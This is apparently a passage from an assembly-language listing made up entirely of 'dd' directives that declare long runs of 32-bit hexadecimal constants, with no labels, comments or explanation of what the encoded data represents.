dd 24FC7739h, 7B27BAE6h, 0DD0C4DAEh, 59A17A82h, 309382D2h dd 320756C3h, 6F438738h, 2E53554Ch, 7D1B2FF1h, 99A9F111h dd 1425AE2Dh, 0E9D099F6h, 0B2299F5Bh, 3F20310Bh, 2B3514C3h dd 4DE9233Bh, 946F4936h, 50DE20B5h, 5B199031h, 0F56F2786h dd 7DD5E194h, 8D08249Bh, 53A08217h, 0BBBA400Bh, 4E5FAC00h dd 0B0CB811Eh, 19150421h, 0BFB236E9h, 2882F2CCh, 33CBEF6Dh dd 0E11BD79Bh, 6EAA95B9h, 9CFE7234h, 87B77414h, 50174B1Fh dd 0B2E00284h, 2FA0905Ch, 30201C4Ch, 12BB2D77h, 14E066E4h dd 0C3315301h, 30E94358h, 7C5F6C28h, 7F5B6C9Bh, 60BC5541h dd 7D7C2B39h, 8002D48h, 899B26D4h, 0BB2DE9F8h, 7BCE91BEh dd 0A5405862h, 0A2F0BF36h, 1657D13Fh, 7BDD3E1h, 84C1C034h dd 68BFF39h, 8537B6D3h, 4FF1EAE9h, 88DEB22Fh, 3E6627CAh dd 0ADC5504Ah, 26A79FE0h, 0B93D953h, 0C4E8AACEh, 212F321Eh dd 0B311F044h, 13E90514h, 87E1AC86h, 0DFA25F54h, 1434FFF1h dd 0B09B4CB7h, 79E9188Fh, 66EB6FA5h, 6A60D06Ah, 0BF52E005h dd 14E482B0h, 0BB4ADF3Bh, 5508A209h, 6E388C82h, 59C8E848h dd 7FB26816h, 6A0A0360h, 0FC1A5A37h, 2D54946Ah, 0A1046485h dd 0AD04EF6Bh, 620574A5h, 5192CABDh, 1EEDBE53h, 12315D24h dd 5A0AE9D6h, 97315FE4h, 39DE0A4Ah, 2FB00143h, 29F2C5D5h dd 0F45A8BB4h, 80C4EB8Dh, 2291AB4Bh, 0D6246575h, 8F5E5DF5h dd 96A30896h, 5AD78804h, 5B8B3CE0h, 0D2D2F31Ch, 0CFED0E05h dd 68C272ECh, 0C5667AADh, 4190CA1h, 5CCD02ACh, 15DC2074h dd 0D6FC964Eh, 8F823EB9h, 275729AFh, 5E5B7C04h, 5E66EF9Dh dd 0EE0117A6h, 318B5F4Bh, 0DC48F389h, 5B6C55F9h, 0C0B2FEE0h dd 1C07F231h, 4A583313h, 41092942h, 976C310Ah, 1EBB5992h dd 625685FFh, 0F1AC8222h, 9635D5C5h, 4FE997E4h, 0D047B49Ah dd 249D148h, 6226F968h, 0CAC3402Bh, 6005EAE6h, 678E885Fh dd 514C3A79h, 26B55ABh, 8F10A3E6h, 99B99764h, 0AC813BCDh dd 0E8049A06h, 5A277858h, 4F53F103h, 87B2EAB4h, 690D1655h dd 10D46D59h, 4A323DBBh, 834602B0h, 0D316902Dh, 0FAECA070h dd 9906B280h, 96DD6B32h, 4EE92592h, 5F715709h, 0A0AC5544h dd 392B5D8Bh, 3E62DAD6h, 0C2BD04C2h, 0D9E1AD15h, 9B67BC5h dd 49D1EA2Ch, 729C7703h, 0F3013B99h, 0E9081C40h, 47C0164Ah dd 2D32BD68h, 80453D78h, 3DFE0688h, 38D1E283h, 2DD9283Eh dd 0D97064B1h, 0B889F8BEh, 0C0719ABAh, 1242B789h, 0BD5912CDh dd 0DCE90921h, 959BE463h, 0C116A59h, 0F84C2C3Bh, 2D6C909Eh dd 97D6C001h, 7E59817Ch, 8F2AD22Dh, 0F1F71200h, 0BA137EA6h dd 78D0B277h, 0D30B0E2Fh, 0D36662EBh, 5A1A2DDh, 409B74BDh dd 0C188515Ch, 385F4FE4h, 0A99765ADh, 0CBE9E196h, 800ED56Ch dd 0EE6E25E6h, 7122C97Eh, 8E5B2A2h, 236B1460h, 40DFE3Bh dd 2F076EF5h, 5DEBD3C1h, 0BDC4047Fh, 505600DFh, 15EC668h dd 0D581288h, 0F25D481Ch, 748A48DDh, 90DB9DD5h, 0A208ABA7h dd 2F5B6B2h, 52C0FD29h, 54816AEDh, 80BCA36Eh, 8B07B56h dd 0AF050548h, 95F74F84h, 0AC8EAFFBh, 0B8F9B716h, 35FED2C1h dd 24A0B99h, 27C26BC8h, 3BC51B58h, 5C185201h, 0E952C1AEh dd 0C92BBFCCh, 9A9360BFh, 98D6F780h, 88450992h, 80001755h dd 26C04351h, 82F37ABDh, 0FD234108h, 7DF81D6Fh, 905362A7h dd 0F629ACBDh, 92715E92h, 0B80589CEh, 3D091DF0h, 0CD814701h dd 71F83BD9h, 5D6E63E9h, 945EDE01h, 0CAFBEE5h, 0E9A5CA71h dd 55365B38h, 0E1F7660Eh, 3E2DF074h, 0FA8D1ADBh, 42B5D61h dd 0C820B6B6h, 10950255h, 0C49267BDh, 2061E1E1h, 1FF31F7Ah dd 4CD1214Eh, 0EE4D68F6h, 0AD4138B8h, 5A2CE32Ah, 56C080F8h dd 5B26F2BEh, 99B84D5Bh, 8AB6B993h, 0C227112Dh, 69FD7EC0h dd 0C2578125h, 7961A176h, 3812212Dh, 605E3003h, 0B881428Fh dd 0A4F27982h, 0FE0B82DCh, 9CB5884Ah, 462A6805h, 25A69BBAh dd 0BB9C803Fh, 7FF96FE5h, 68E35C3Dh, 19ADCB00h, 0E94B56F6h dd 6BFA612Fh, 6500EF0Dh, 2AEE29C3h, 0E2F75Dh, 0CF3832DBh dd 0FC0E3D2Dh, 89A82B4Ah, 2613D710h, 522D6247h, 0C4F10449h dd 0BE468EACh, 0F0F31204h, 5EDF591h, 68A5EA84h, 0E9F5024Dh dd 0B26758D5h, 27D897FEh, 7737567Ch, 0C9A999DBh, 657159D8h dd 0D21FB22Fh, 0A61CEFA9h, 0F9D42F3Fh, 0D32A94C0h, 0BAE29F2Ch dd 5C040709h, 4746F3FEh, 25E913E8h, 525A5D43h, 0BB1F5059h dd 0EBD1C469h, 9837C205h, 5FF83100h, 0ED75C050h, 5D0E5938h dd 7816898h, 6DA6F9E9h, 2EE7057Bh, 0BD006406h, 26B815C7h dd 7F559E9h, 69C7914Bh, 0E4506802h, 446185F1h, 111C3335h dd 91CC9557h, 906BCE20h, 16E30911h, 8822F24Bh, 880383EDh dd 0C9E793D4h, 316B07B4h, 3EB6C885h, 273925CDh, 60AFA396h dd 557F8018h, 3EF2A92Ah, 575100E2h, 7A1FF3BFh, 54AD3182h dd 8762AF26h, 90050C09h, 2D3AF3C6h, 27F47AE0h, 0BFE29C1h dd 66928525h, 0EBDFD1EEh, 70BB005Fh, 57892E41h, 0BE94021Eh dd 25DA876h, 5DDC656h, 28FBFD2Dh, 1B02C553h, 0E943BB71h dd 89E7A27Fh, 493077E0h, 989F0E18h, 7E783176h, 18CBF0C1h dd 0E38C62E9h, 0C9096856h, 831D2C79h, 5ACDF6A1h, 4FBBEC0Fh dd 292288D5h, 0A0A25D5Dh, 6602BD3Fh, 598260ADh, 73799715h dd 0B5064C92h, 2F26AE18h, 2E784F2Ch, 0D0EA59E8h, 5A7A46EAh dd 0CA4BCE90h, 43AC8413h, 8599EAA4h, 0BFED642Bh, 0CBAEF1D5h dd 51226443h, 4A55082h, 0FF01C480h, 0AA91485h, 585BDD0Fh dd 0EEDCFB85h, 9701AC28h, 9967A3E2h, 58C52900h, 3C43BD2Dh dd 0E81421B1h, 0E35E0705h, 38E90916h, 4F2EDEB9h, 0AD81251Ch dd 78307A29h, 42DEDC54h, 4A870147h, 3D0941D6h, 77877281h dd 7734271Fh, 7309E76Ah, 0F063EA2h, 7B07F20Ch, 9DD99753h dd 0C39D6160h, 5EB02AE9h, 3EF52F87h, 665FB370h, 4D917850h dd 10EC5841h, 0D35BF140h, 41D29829h, 0BD050CF8h, 73C74477h dd 0B825EEF8h, 0C0BE6CE0h, 2964E07h, 7AC2F231h, 3C00C8E2h dd 0D0898A09h, 0B8719902h, 0D7EAB2D7h, 564098ABh, 0B0BC7AC4h dd 85B951E0h, 1A2D2F2Ah, 2E07DDC1h, 52E1F240h, 46D6855h dd 5D0C3521h, 356C04Dh, 0BC1E0D1Eh, 9FBCEA89h, 43CC94C2h dd 78070C7Fh, 10BBA3F0h, 1D60EA4Eh, 50BD805Bh, 824AB284h dd 65C9E8A8h, 32D34C43h, 0F5E8029h, 35AE7613h, 1D0D81D5h dd 0CBF4703Bh, 0DBD9340h, 64777C36h, 5BBD34E4h, 0EBD18CC1h dd 0A0DB3C13h, 0AE30356h, 694E974h, 42FF82BAh, 78CA5201h dd 0D2B6A77h, 7BDCDC0Bh dd 41532424h, 0AE305E5h, 379B83A8h, 2DADB513h, 32D407A5h dd 124CEC3Eh, 94109A68h, 0B9C240C3h, 18F9579Dh, 0A24BBBF4h dd 63F02224h, 818CB67Eh, 1C11CAEEh, 0FB0675A6h, 0C4DC62EAh dd 0DA88F785h, 0C996A84Fh, 0F6D0BCh, 1A06E8BFh, 0C1DFF77Dh dd 10DE74Ch, 687FB850h, 7530AE8Dh, 6A2324C5h, 8BBB3A74h dd 813BE81Dh, 0BB3C46EFh, 0F8A53A08h, 295D0801h, 502205DFh dd 8B7A5247h, 0F8011933h, 8983D9E8h, 61A32B06h, 2ECE8CD1h dd 5D1BC9D1h, 0F1E1297Bh, 7F2835FCh, 0C9DFA4E2h, 0A8FB63D9h dd 3BD1715h, 5EF79305h, 0DD5C20ABh, 66FE2814h, 39C6128Eh dd 0F6430FEAh, 0EDC004D8h, 0FF0A076Fh, 45E1BE12h, 2D0CC1C2h dd 33CA052Bh, 0D659FD34h, 5E7205BDh, 1BC441EBh, 0EC14A143h dd 31811178h, 0CA81A33Bh, 0A58B7601h, 1804E5EAh, 8850D30Bh dd 26A5D04Ch, 0D813E458h, 66E9DDD8h, 0BC30E96Ch, 8AC38014h dd 7E820A1h, 1B170CBEh, 0A96AA41Fh, 799576A6h, 0C35B1298h dd 64602121h, 2C2AF3CAh, 8879B533h, 0E0273030h, 46079565h dd 0AABB1453h, 5C319244h, 0E9C188EAh, 2748594Dh, 274A725Eh dd 0B75EE80Ch, 21AE57EEh, 2F5C1760h, 57301099h, 905F81B6h dd 52017CE4h, 532E8BBAh, 76A9EC13h, 71EC16D7h, 18AEE9F0h dd 526E0383h, 0F7286FB6h, 0FE085AB0h, 8223E92Dh, 52A5BF4Dh dd 0BFB8ECC1h, 0DEBA7D45h, 1F84BAF2h, 3D420E67h, 90F1E3D3h dd 5DAF636Bh, 0E1016BEBh, 685BD988h, 49285202h, 4805FB93h dd 72035E22h, 95DA234Dh, 8F72C4D1h, 0C0488726h, 5BE2C825h dd 2E749CFFh, 89DE92E9h, 0FFFDAF7h, 0C0F344D3h, 0B41240E7h dd 412AA08h, 4AA62112h, 5209B749h, 0A35F5AE9h, 161509AEh dd 0D0E18F63h, 1F2A97FFh, 0E7040676h, 53156C76h, 6804A3A3h dd 81056742h, 0AFA878h, 0B003E0C1h, 6AE241DDh, 1BB29EC5h dd 0F7AC3418h, 0DB79B450h, 5E875D6Bh, 0F2E9D9F1h, 2F7AE6Ah dd 0B06A583Dh, 4AB0689Eh, 7ACF8974h, 635D608Bh, 26EDE98Ah dd 24E0822Ah, 79C0093Bh, 2BE8214Ch, 58C06812h, 3D95038Ch dd 46E05B98h, 3A979D9h, 81C9D2BFh, 89705908h, 52B8809Ch dd 555A140Bh, 87AEDE09h, 69622BB3h, 38A3B400h, 849026F3h dd 5856D640h, 0AC300254h, 7089BBA5h, 276D143Dh, 138A8AA1h dd 0F21A8C02h, 62D96266h, 9AA682CCh, 0B12D07C7h, 2A558738h dd 700DBB1h, 5539E95Ah, 0A12AA2BCh, 0D2083C22h, 572ED4E8h dd 3BC510B2h, 99F2551h, 9371F392h, 0E871B0FDh, 3EDDC0A2h dd 6E919D0h, 2F57488Bh, 0D0877112h, 92AAE54Eh, 561A9382h dd 0C201E267h, 6AFF6AC0h, 101D5E30h, 69ECE958h, 0BC574C59h dd 5C1497F0h, 0D085E912h, 5F4EC620h, 0C02B5C15h, 0C9269A24h dd 0FA4BF852h, 5706B8F3h, 0D13FDA68h, 0A335E268h, 32BC1C17h dd 0A25457C4h, 8530D723h, 933C9268h, 4E63072Eh, 70DC090Ah dd 0F5B19B84h, 1E50A0A0h, 0CB696516h, 0CBF97B70h, 12DB6806h dd 0F2502291h, 0DBF02825h, 0B55104FDh, 0E995C015h, 66999371h dd 45555C8Fh, 0DEB2FE7Ch, 0EC68125Ah, 0FAF6B7CDh, 6CC73DD4h dd 0E98BB339h, 8971C2CEh, 8F201F28h, 25680591h, 0FD1F7F48h dd 6C201B9h, 4244BA1Dh, 7D0E0E8Fh, 82F7258Bh, 5772395h dd 7C2E9129h, 0F3FC0480h, 9E07604Ch, 930D1846h, 0D1A9ABFh dd 0FD95F929h, 56E2DAAh, 0D2C4C6E9h, 484624C5h, 7C7710BFh dd 0A6E697E3h, 64C32930h, 0B86377F7h, 0BBEC2ADCh, 8DA58A6Dh dd 0D8C24F47h, 0F7882EE1h, 0B2E7170Dh, 61AED370h, 3588E922h dd 0FCCB2092h, 36CA5B48h, 0BDA069EBh, 0CBB75ECBh, 804F6ADEh dd 47CC24EFh, 830F9201h, 487DAA08h, 12CB05FBh, 0EB72FD63h dd 0C140AC41h, 0EDF406E8h, 91FCE4C8h, 0BA550BA0h, 0D2582E64h dd 0F5408FD7h, 1108210Ch, 0D8532E34h, 95D35E2h, 0C417247Dh dd 48FE05E0h, 0BEF4E9C0h, 8189EE4Eh, 740144C7h, 0AE91104h dd 0E97E7C31h, 309D2A90h, 18C9DC40h, 0D1829FA1h, 4C8A0E9h dd 0E33CC14Bh, 275FAC02h, 0BE565980h, 1D7619B8h, 1FE6810Eh dd 0D066D60Dh, 0A9F6CBA2h, 0D5844295h, 0B70BAFCAh, 58BB2957h dd 9F3825C1h, 7C96BA5Bh, 0F72F7FA1h, 0ECB71087h, 40E3B340h dd 0D2966663h, 0FDFC0212h, 68ECBD55h, 0B2327F9Dh, 452EFDA5h dd 0AFA567B4h, 3468AC70h, 71C2E163h, 0ABAE7D7h, 98D31908h dd 0A35D7AC3h, 0E2BCEB92h, 0ACDF1184h, 0F3D69CD1h, 81CCDF04h dd 4AFAB912h, 84BA158h, 4F62040Eh, 0AEBC5CE9h, 0FE526232h dd 6B505941h, 5A259A8Bh, 4498DD9h, 88AA194Ah, 181E0CC4h dd 0EDD3254Fh, 5AAC6BC4h, 569740D2h, 0B5094968h, 965E5B04h dd 0EA81D8F7h, 0C0398D9Dh, 0C6189E21h, 827FC110h, 0F8C51641h dd 334C9B5Eh, 82D1107Fh, 0E0CE047Ch, 0E05C1329h, 0BB2D7900h dd 84B9D85Dh, 0B73C9A43h, 76B189CFh, 5D879A72h, 275464E1h dd 0F8F16073h, 3448DC05h, 15940D3Dh, 0C78DCFCh, 0FE5AD012h dd 29E97D31h, 9B0DBD80h, 3548CE0Ch, 0F66F060Bh, 0CA79584Bh dd 109A0506h, 3905D2DAh, 628C6C2Fh, 0B6521353h, 0C75B4605h dd 0C15E9F56h, 0EAEC09B5h, 1992B7C9h, 0E8E2EC84h, 5BE6BC3Ch dd 0E46DE2EEh, 419DCDFEh, 0D1086D86h, 1240DA5Ah, 0BCE11C3h dd 0D90F1201h, 0B4AEDD2h, 390F502h, 0B5B943B1h, 0EFC981D4h dd 0B309CB63h, 0BF4BC47Bh, 1BE97F80h, 3F119D74h, 1E828281h dd 4348A643h, 3760B3D6h, 7FFDEB43h, 41299169h, 52F1EE76h dd 4F43A77Ah, 0F26B1CA5h, 28EF9262h, 84BE93Dh, 0A72CD407h dd 9DDED807h, 0A80CA193h, 98C3819Dh, 258F2C0Ch, 289A2854h dd 997A9127h, 92726C7h, 666A2DAh, 123F86B9h, 77EA85D7h dd 86F1B2E1h, 640973B2h, 47689640h, 0DACD185Bh, 55A1401h dd 0E9B7E46Bh, 94AD1A2Dh, 0FB5D2005h, 35B9660Fh, 0C2DD2B26h dd 5A195C4Dh, 0E905B9F1h, 43E254F8h, 59D33578h, 0A0630BC1h dd 5D1443D1h, 0D56C5092h, 744E957Ch, 9B68C503h, 0C889134Dh dd 750927ECh, 5AD6A080h, 0A221575Ah, 0E73E6E5Fh, 95BE0202h dd 612FD70Dh, 0DA4970Bh, 7C92329Ch, 0CAD41BDDh, 7C964A84h dd 95148984h, 0EF627FD6h, 7F2E777Ah, 0B85E02EBh, 0F731D989h dd 3B587B39h, 26685028h, 0C0FC735Ch, 6FC22B8Ch, 0F200AAB8h dd 32E75B41h, 0A68633E9h, 1768139Fh, 0C32CB375h, 5E14D0E9h dd 2605A30Ah, 39AF8D6Ch, 176F9B96h, 50B9A5Dh, 43E9F501h dd 0C16FAAF1h, 0CD568458h, 4803058h, 22AD0D12h, 621744C5h dd 0C13F7FE5h, 6FE3743Bh, 9010D48Ah, 2A6C48A0h, 0E3BDB446h dd 957C1F6Eh, 0D333546Ah, 9C531376h, 797BE03Eh, 292A4909h dd 8F008F3h, 8203128h, 0B172BDAAh, 7DA4C59h, 0E51DDABBh dd 0C4F889C5h, 0DB0A9619h, 0B3996ACEh, 170EBFE3h, 0D2255CE3h dd 2AEDC3E9h, 9B3FFEE5h, 0BD5500A2h, 18A54DE4h, 0D1D548F7h dd 5376BF1Dh, 40EE5C7Ah, 432B5F10h, 89A4C529h, 0F682A5ECh dd 7D680456h, 0A432BE48h, 76504AAAh, 0BF595923h, 5BC125C3h dd 9E5F4BCCh, 8FE91625h, 0B4DECCEEh, 58E7634Bh, 5E706610h dd 7F57365Eh, 0E831CF45h, 1A8AEC2h, 6B06DD68h, 0EBFF4C99h dd 45DF5DD4h, 588B1311h, 60A0B16h, 0FD7C026Eh, 0FD8D2BBh dd 22705FC7h, 50640F33h, 9573109h, 0B230DF65h, 0A498C501h dd 3A34FB5Bh, 0AFCB8E17h, 0C6868548h, 0B420DD49h, 0F55758D9h dd 0F2FEE313h, 91CA4BA9h, 0A45FBD5Ah, 0C7E2A852h, 0A342A42Dh dd 0ECEE68F7h, 6CBF4854h dd 1F00EE3Ah, 0F0312B8Ah, 0E27685Eh, 0FE23183Bh, 90204C59h dd 9092E90Bh, 1A094065h, 0D1EEC864h, 0EAA083B1h, 5898C23Bh dd 50B5B220h, 122DB155h, 0AF15122Ah, 2EEA45C0h, 45CF2628h dd 97D00136h, 2A89511Eh, 6A4832A9h, 8D33F527h, 0B768AED2h dd 5A16D729h, 0D5E0DFF7h, 0CF810247h, 0A3E5C7Ch, 0C2A60460h dd 0E0A07A2Fh, 4C590EC9h, 0F70E1AB8h, 28E25C65h, 0F6925E9h dd 7AF62A53h, 4109862Fh, 0E8A3A9F9h, 5670A225h, 67D3F49Ch dd 0BE31D8C4h, 0B800C1C5h, 0E60D4AD5h, 0BD13541h, 12CE7720h dd 163FF320h, 86B101Fh, 8BFAAC5Eh, 596F26D5h, 0A8A60530h dd 0FA018DDDh, 38EA8D84h, 0AF34279h, 41ADCD4Bh, 0BF4731h dd 303E4C0h, 2852F480h, 37CF58E6h, 8EEE9306h, 9E01C6E1h dd 0C34E4806h, 0CEF30F79h, 845AABEBh, 5FACDD76h, 5BF4B35Eh dd 0B217A6A6h, 8BE2B80Eh, 424B5157h, 0A7D89FE9h, 65B5581Ch dd 7464F517h, 0F69400FEh, 80CDFEDDh, 0E927C506h, 0B5345B31h dd 22420DD1h, 0E2600FC9h, 0C9979AEh, 0EE0A8A98h, 0B53FAD08h dd 6C19A50Eh, 0A5E0A03Ah, 1C311797h, 1B641892h, 3D064BEBh dd 0FB01435Ah, 71E60F4Ch, 0E5C0167Ah, 3B303367h, 0BB8D1A3h dd 819D312Ah, 551E940h, 0E8665293h, 0DBF774EBh, 0D9F2A1Eh dd 3F0F45D8h, 0EC44FDB9h, 0B31025FEh, 79E90955h, 0EF51DCFAh dd 595A406Bh, 0C8B70F02h, 7C028568h, 507C63A6h, 24A3225Ah dd 532CEAD2h, 37E964Ch, 0BB150C68h, 6A415991h, 0D1D0BCF5h dd 7072138Bh, 23CBF89h, 2FFE1316h, 4874ACB3h, 94E01810h dd 0EAF6EEC1h, 6F654CEDh, 5B39AB2Fh, 48842F30h, 9656B7AAh dd 88021828h, 0A96711E9h, 7A724157h, 8024748Ch, 0F9BF5706h dd 2AD4A701h, 3BDA4D03h, 123A89B8h, 2E4B5036h, 6F1B9371h dd 60A08ACBh, 0F789575Dh, 9AF6F9E4h, 0DE17A7F1h, 0E3858C21h dd 700E86Fh, 0E044270Dh, 3A7B2D6Bh, 0E1D0F946h, 0F4580EBDh dd 89D42954h, 87EC0841h, 8F469F34h, 430115E7h, 6C013BABh dd 3E330C82h, 0EA7F469Ch, 0C30824A3h, 173A72C7h, 76038B0Bh dd 0A5315224h, 0AE42AF52h, 6AC3D238h, 28C025C2h, 0CE8615Eh dd 21E0E52Ch, 0BAF0E9D0h, 50533BD3h, 0F4EEF293h, 83414C56h dd 0BD1F4D2Ch, 6F09FFABh, 5C7D531h, 0F003E985h, 845474FAh dd 0B1E280F9h, 4A60DA14h, 0D4E09F0Ch, 0A6019DA4h, 7C4F01E9h dd 7CBCE5FBh, 4B1ECED8h, 11CB30Bh, 84A08DAh, 4BF95B17h dd 4EAACF10h, 5CA5E09Dh, 6851C630h, 0BE31D54Ah, 71255AE9h dd 31D88A3Eh, 70E9D766h, 0FFEF122Ah, 6DF494Ch, 55289D4Ch dd 0CC688590h, 0B78C500Ah, 0B0C81945h, 1C34C958h, 6841ABF9h dd 8C3B61ACh, 0AE5D7146h, 27B39254h, 1562672Dh, 0A4486055h dd 91C7B5F5h, 4A66583Fh, 80492ED0h, 0C0940FCBh, 59C407E3h dd 0D364F80Ch, 35AE7384h, 32098010h, 2201A50Bh, 3051CA81h dd 67043A0h, 447A1463h, 7909C82Dh, 65D4110Eh, 0F8407010h dd 48B5B885h, 2C707477h, 3DA3D13Eh, 8418D48h, 9C220441h dd 16D23168h, 6FCB8814h, 0C3536560h, 5EB3E3E1h, 19122Dh dd 31492F2h, 0B9045113h, 0CEE40941h, 5F701BAh, 201B205Ch dd 0D6D0E81Bh, 48784908h, 0C34D7EFDh, 3E31E04h, 2EA14D16h dd 91B5BA3Ch, 0C54ED7B8h, 90B67E07h, 0CDDF0417h, 3F1BE576h dd 0FEB6A705h, 612FCE82h, 2D038BF3h, 210C63A0h, 57F00119h dd 30E44FF0h, 0E94E136Ch, 7B79A107h, 0F7EEBC92h, 0FD89A103h dd 75480EFAh, 0DE95665Ch, 4D5B8CFFh, 249F0516h, 0B0ED5EE3h dd 2EF95D10h, 0FEA56129h, 0BF0CB4DAh, 27ABE6D4h, 4FDE494Ah dd 57FC5517h, 0D94AE9ACh, 77A26AC4h, 4843AED6h, 58A257E9h dd 56B28626h, 7A76BAFFh, 927B966h, 4CC6B8CCh, 12F83EBEh dd 0A3C08259h, 5197D9BBh, 1974A6B4h, 0B8532B11h, 921A837Eh dd 0DBA686Bh, 5582E90Bh, 63B77B36h, 0BAF047D6h, 0EFBE95FFh dd 0EA030B82h, 58B1747Bh, 0C09FE188h, 806680E9h, 2900A02Dh dd 0AB353F28h, 2E6DB224h, 93DD8F7h, 905F065h, 4BCEB899h dd 8BA52CBCh, 0FC8B250Dh, 8CE9E2E4h, 0D297DAF8h, 6D5C9506h dd 0ED00E424h, 5A09DF0Eh, 1330AC57h, 4BCAD7E9h, 46D9D18Dh dd 70ED6861h, 0BC4B5C33h, 2BAFA561h, 8F4F12CEh, 11882BF2h dd 0F7DADB42h, 3ADCC516h, 68AD0A60h, 64840BF5h, 81D5FABBh dd 0A992F82h, 82400CFAh, 0D28BE8D3h, 577A4A62h, 3E32CD69h dd 0C6834200h, 98F38701h, 16A23A20h, 29124848h, 89AAD1C0h dd 56AF04BCh, 2D983002h, 0CA2E1F92h, 6B03435h, 9698E906h dd 816601D4h, 2074CDE6h, 0D19FCF53h, 829CA88h, 680595B7h dd 2F23646h, 1C8D12D3h, 6BAB2482h, 295C2277h, 0FD6077F1h dd 842F6A91h, 0C56F5834h, 16E98106h, 978C080Bh, 37783E30h dd 0B82C50DFh, 4FF5026Eh, 6D58E90Dh, 5E6854B0h, 17A6565Bh dd 8966ED97h, 955A1ADh, 0FE705FF9h, 0E23EFF84h, 59CF8448h dd 0DC306399h, 0F7583A23h, 1792814Ah, 0D579ED69h, 56B3CE1h dd 0DB73EC64h, 2900C1BAh, 99EE05C7h, 0D6E6C230h, 4050310Dh dd 93B962Eh, 902147B8h, 72C4A3Ch, 6DFB1A61h, 170FC530h dd 0E18F4C34h, 43C8618Eh, 0D8101A3Ch, 0E05B8998h, 6A40D9A1h dd 0F67E07B3h, 46D386DBh, 0C00108DAh, 0CBFE03EBh, 8F87ABE9h dd 0C488EAB5h, 165BEC66h, 0DBB285Bh, 0E0200846h, 2D04F801h dd 479C021Dh, 523DC4ABh, 128AAE90h, 0D40B10h, 0EEC001B6h dd 6BE68006h, 0DB760D24h, 0F6C7EC9Eh, 0A12B88F4h, 4FBAE91Fh dd 0C2108E39h, 9231359Dh, 4D35CB80h, 683D3867h, 0C380ECDAh dd 9019BDB8h, 0B934E902h, 0C3C10002h, 496589CBh, 1A100EC3h dd 0CA01C0F7h, 924127E9h, 0C6D5CB18h, 1315BA80h, 2058432h dd 0EFC15A58h, 0B3EE05D7h, 836014CDh, 1518B551h, 0E983DFCFh dd 952E49D4h, 0EA71041Fh, 1714B3C2h, 1FE8575Ch, 0BCC843A2h dd 0E1B0F121h, 0F234A0B7h, 4AC80FE1h, 0A1B58503h, 73B3E51Dh dd 9D317816h, 52EB759Fh, 53F2982Ah, 0F19B7B6Eh, 0FC5BBE52h dd 0D75C85ABh, 0AFD6A0A9h, 2FE9B971h, 13A6D65h, 0FA4B97F0h dd 0C6F06A7Bh, 0C36604DDh, 0B8E9C130h, 79940629h, 40C6D62h dd 5FF460E5h, 0E82C8121h, 92983E99h, 1C5944C2h, 8605B880h dd 0E915CEACh, 84C56FF2h, 4017D67Bh, 1AE222FBh, 0FD5A01A0h dd 218995ADh, 854895FCh, 555F5C84h, 3D9BB0C0h, 7A4D7677h dd 893FF35Dh, 0E948891Ch, 3A97F17h, 970970C1h, 25BEAF06h dd 0A32C8049h, 5913DE34h, 44E9D301h, 7C760BE5h, 83DC696Bh dd 0BFD92017h, 37393AACh, 29F6CC3Ah, 0A10A1F9Eh, 0DB47FC4Bh dd 0C5BEF304h, 921EEF1Ah, 0F116F5DBh, 0B1F55A59h, 7C1688Ch dd 0FE76C606h, 705F0ACBh, 0B168127Ch, 0B0AC3078h, 0C316282Bh dd 114E93E9h, 0F079C94Fh, 0DC5B750h, 5BE6A5C9h, 0D1EC0DAAh dd 0C42C301Fh, 130327F7h, 4DCC7977h, 6F6541C2h, 4828D204h dd 18A5580Fh, 8FCDBA8Dh, 4C6704A0h, 8B125F17h, 0E92BD00Ch dd 0E7AAA823h, 678522F7h, 403B74B9h, 73A76852h, 0E0036E2Fh dd 25429B5h, 0DAF759B9h, 5B70B8E9h, 0F4B852B7h, 0C1EE7A0Bh dd 4B3EC40Ch, 81802E13h, 4FAD1F0h, 63F05BDh, 0D09EC221h dd 1E08DE88h, 0A46FE4E9h, 5E783DC6h, 2ADBA5A2h, 0A82C17A1h dd 60C314D9h, 1B7CEBD7h, 0C0B70F02h, 59318068h, 0A0219CD9h dd 7A3E9490h, 31270C11h, 9DC296DFh, 2D5E1ABh, 0C5ED1274h dd 434827A4h, 788262B8h dd 86AA2771h, 69A3A9EEh, 2C773F13h, 13471E08h, 0DD76085Fh dd 1751B53Dh, 68C276E8h, 30460E7Fh, 845B81CFh, 69BF3EC4h dd 0D3E23000h, 3509ABF8h, 319236E9h, 9BE8551Ch, 1579C858h dd 0DDCD358Fh, 68FFD3D4h, 4582D115h, 8B37D146h, 6027FD8Ch dd 0C4686429h, 10CDB329h, 563F858Bh, 0CC135716h, 60406949h dd 366617B9h, 0EFCD04D2h, 3BB1695h, 0C97EB7EEh, 984A7ADAh dd 30B5B47Fh, 0F239AAD2h, 0E83060C6h, 7D0AA30h, 0C626078h dd 0CE70135Dh, 4B4B8959h, 0E0CE3AB5h, 2CFABFAEh, 0B05A1B2Eh dd 0C0318230h, 30FB29FEh, 7625D4A0h, 4AC77827h, 6123BAE2h dd 0AF82F4B3h, 179CC65Bh, 0BADBB8F3h, 97C38B5Fh, 0F8267004h dd 25184BF1h, 9954EE7Eh, 0CBD8F70Bh, 867806EBh, 0CC4C8E05h dd 6372770Bh, 0F0AFD775h, 4E36053Ch, 0ED06A17Bh, 0C2CC489Ch dd 957A9C84h, 3500A703h, 6FAA78A9h, 0F6A1C529h, 0D1AA05D9h dd 7D02473h, 34C4DAF4h, 7FA293C4h, 51276882h, 3518187Dh dd 4B650E01h, 4209DABAh, 27B49808h, 0BD0876E9h, 0AB03240Bh dd 0AC6D3800h, 4B4EE945h, 0DEC2E8B4h, 6686714Bh, 55C3B053h dd 2630EB22h, 1B3F0381h, 5FFA3126h, 0DE95509h, 427948FCh dd 767A245Ah, 0D431A1Eh, 531686F6h, 0B9E08C93h, 0B73B4A2Ch dd 4B327B72h, 0E02981EBh, 95D6386Fh, 4EE55E76h, 0BC4E34ACh dd 0C9BBB45Ah, 0C2045472h, 0C340C762h, 0F0174340h, 30AA5841h dd 0D563E919h, 1D4FBE9Ch, 5C5209EDh, 1AB09CDh, 0BFAD34D7h dd 0C26884BAh, 37003FB4h, 0C68503Eh, 7235B34Dh, 7EC30058h dd 78057323h, 37C8909h, 2F00CB78h, 0EDC2D1Ah, 2AE911FFh dd 4E705491h, 0F551EC5Bh, 5D3D782h, 1E12C531h, 6FAF9D25h dd 3963A0C8h, 0A4C0493Dh, 0F44952DAh, 80630AFh, 0E6048146h dd 16010D2Ch, 0CC3B0BBh, 2BF60969h, 0CD0B74E3h, 12313F12h dd 2B5FE9h, 8E22BAA7h, 40B72AD2h, 8249F894h, 0D9A01B55h dd 0CC5270CBh, 446A6029h, 6A2881F6h, 64528A4Fh, 4499958Ah dd 